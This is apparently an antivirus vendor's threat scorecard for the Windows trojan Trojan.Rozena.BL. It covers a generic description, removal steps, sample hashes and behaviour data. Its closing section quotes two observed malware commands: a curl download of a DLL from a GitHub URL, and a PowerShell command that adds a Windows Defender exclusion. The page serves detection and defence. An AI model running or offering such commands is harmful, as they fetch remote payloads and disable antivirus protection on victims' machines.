Trojan.Rozena.BL
Threat Scorecard
EnigmaSoft Threat Scorecard
EnigmaSoft Threat Scorecards are assessment reports for different malware threats which have been collected and analyzed by our research team. EnigmaSoft Threat Scorecards evaluate and rank threats using several metrics including real-world and potential risk factors, trends, frequency, prevalence, and persistence. EnigmaSoft Threat Scorecards are updated regularly based on our research data and metrics and are useful for a wide range of computer users, from end users seeking solutions to remove malware from their systems to security experts analyzing threats.
EnigmaSoft Threat Scorecards display a variety of useful information, including:
Popularity Rank: The ranking of a particular threat in EnigmaSoft’s Threat Database.
Severity Level: The determined severity level of an object, represented numerically, based on our risk modeling process and research, as explained in our Threat Assessment Criteria.
Infected Computers: The number of confirmed and suspected cases of a particular threat detected on infected computers as reported by SpyHunter.
See also Threat Assessment Criteria.
| Popularity Rank: | 23,754 |
| Threat Level: | 80 % (High) |
| Infected Computers: | 74 |
| First Seen: | September 9, 2023 |
| Last Seen: | May 26, 2026 |
| OS(es) Affected: | Windows |
The detection of Trojan.Rozena.BL on your system indicates a potential security threat that requires immediate attention. This type of malware is designed to compromise the security and integrity of your computer, putting your personal data and online activities at risk. It is essential to understand the nature of this threat and take prompt action to remove it and prevent future infections.
Table of Contents
What Is Trojan.Rozena.BL?
Trojan.Rozena.BL is a type of Trojan horse malware, which is a broad category of malicious software that disguises itself as legitimate programs or files to gain unauthorized access to a computer system. The name "Trojan.Rozena.BL" is a designation used by security software to identify this specific threat, but it does not provide detailed information about its origin, functionality, or impact. Trojans are known for their ability to evade detection and can be used for a variety of malicious purposes, including data theft, system compromise, and the distribution of additional malware.
How Trojan.Rozena.BL Operates
Like other Trojans, Trojan.Rozena.BL is likely designed to operate stealthily, attempting to remain undetected by security measures while it carries out its malicious activities. It may exploit vulnerabilities in software or use social engineering tactics to trick users into installing it. Once installed, it can create backdoors for remote access, allowing attackers to control the infected system, steal sensitive information, or use the system as part of a botnet for malicious activities such as spamming or DDoS attacks. The exact mechanisms and goals of Trojan.Rozena.BL can vary, but its primary purpose is to compromise system security and user privacy.
Symptoms of Infection
The symptoms of a Trojan.Rozena.BL infection can be subtle and may not always be immediately apparent. Common signs include unusual system behavior, such as slow performance, frequent crashes, or unfamiliar programs and icons. You might also notice unexpected changes in your browser settings, homepage redirects, or an increase in pop-up advertisements. In some cases, the malware may attempt to disable security software or prevent access to certain websites, particularly those related to security or antivirus products. Being vigilant about these symptoms can help in early detection and removal of the malware.
How to Remove Trojan.Rozena.BL
- Enter Safe Mode with Networking to prevent the malware from loading and to facilitate the removal process. This mode allows you to use the internet to download removal tools while limiting the malware's ability to interfere.
- Perform a full scan of your system using a reputable anti-malware tool, such as SpyHunter. Ensure the tool is updated to the latest version to increase the chances of detecting and removing the latest threats.
- Uninstall suspicious programs that you do not recognize or that were installed around the time the malware was detected. Be cautious and only remove programs you are certain are not necessary for your system's operation.
- Reset your browsers (Chrome, Firefox, Edge, etc.) to their default settings. This can help remove any malicious extensions or settings changes made by the malware. After resetting, ensure you change any passwords you used on the compromised system, especially for sensitive accounts.
- Reboot your system and re-scan with your anti-malware tool to ensure that all components of the malware have been removed. Repeat the scan a few times if necessary, as some malware can be persistent.
Conclusion
Removing Trojan.Rozena.BL requires a systematic approach to ensure all components of the malware are eliminated from your system. By following the steps outlined above and maintaining vigilance, you can protect your system and data from this and similar threats. Regularly updating your operating system, applications, and security software, along with practicing safe computing habits (such as avoiding suspicious downloads and emails), are crucial in preventing future infections. If you are unsure about any part of the removal process or if the problem persists after attempting removal, consider seeking help from a professional to ensure your system is thoroughly cleaned and secured.
Analysis Report
General information
| Family Name: | Trojan.Rozena.BL |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
ee39cf5cc51b1bb6b05d4a527810c07b
SHA1:
0145a5752a3921705ff1996eb1d22bfb04f722cb
File Size:
2.06 MB, 2061824 bytes
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MD5:
87872f76954f4a519e9a079f590114f9
SHA1:
243e1d31bd2a6720674e466ef15fcc194856d696
SHA256:
11EC5F203000FBD2E189A43A22154E8D06A36A51BA651F0B53E9BDD971EC3733
File Size:
2.47 MB, 2467328 bytes
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Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
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- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
File Traits
- 2+ executable sections
- fptable
- GetConsoleWindow
- JMC
- No Version Info
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 7,609 |
|---|---|
| Potentially Malicious Blocks: | 11 |
| Whitelisted Blocks: | 7,575 |
| Unknown Blocks: | 23 |
Visual Map
? - Unknown Block
x - Potentially Malicious Block
Similar Families
Similar Families
This section lists other families that share similarities with this family, based on EnigmaSoft’s analysis. Many malware families are created from the same malware toolkits and use the same packing and encryption techniques but uniquely extend functionality. Similar families may also share source code, attributes, icons, subcomponents, compromised and/or invalid digital signatures, and network characteristics. Researchers leverage these similarities to rapidly and effectively triage file samples and extend malware detection rules.- Agent.CLM
- Agent.IFGC
- Agent.OFTB
- CookieKatz.A
- Filecoder.BOC
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- HackAgent.X
- Kryptik.YKU
- Snojan.E
- Spy.Agent.NB
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \device\namedpipe\pshost.133990951434115501.4280.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.0.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.1.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.2.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_ga0gar2s.b5c.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_kot1jimt.nlw.psm1 | Generic Write,Read Attributes |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 䰩癲ࠏǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 迚睙ࠏǜ | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Syscall Use |
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47 additional items are not displayed above. |
| Process Shell Execute |
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| Anti Debug |
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| User Data Access |
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| Network Winsock2 |
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| Network Winsock |
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| Process Terminate |
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| Encryption Used |
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| Other Suspicious |
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Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
curl -o C:\ProgramData\$pwnKernelSystem\Freedom.dll https://raw.githubusercontent.com/KERMOSINIUS/FreedomKopatel/refs/heads/main/%24pwnFreedom.dll
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powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\$pwnKernelSystem\$pwnSystemDriver.exe'"
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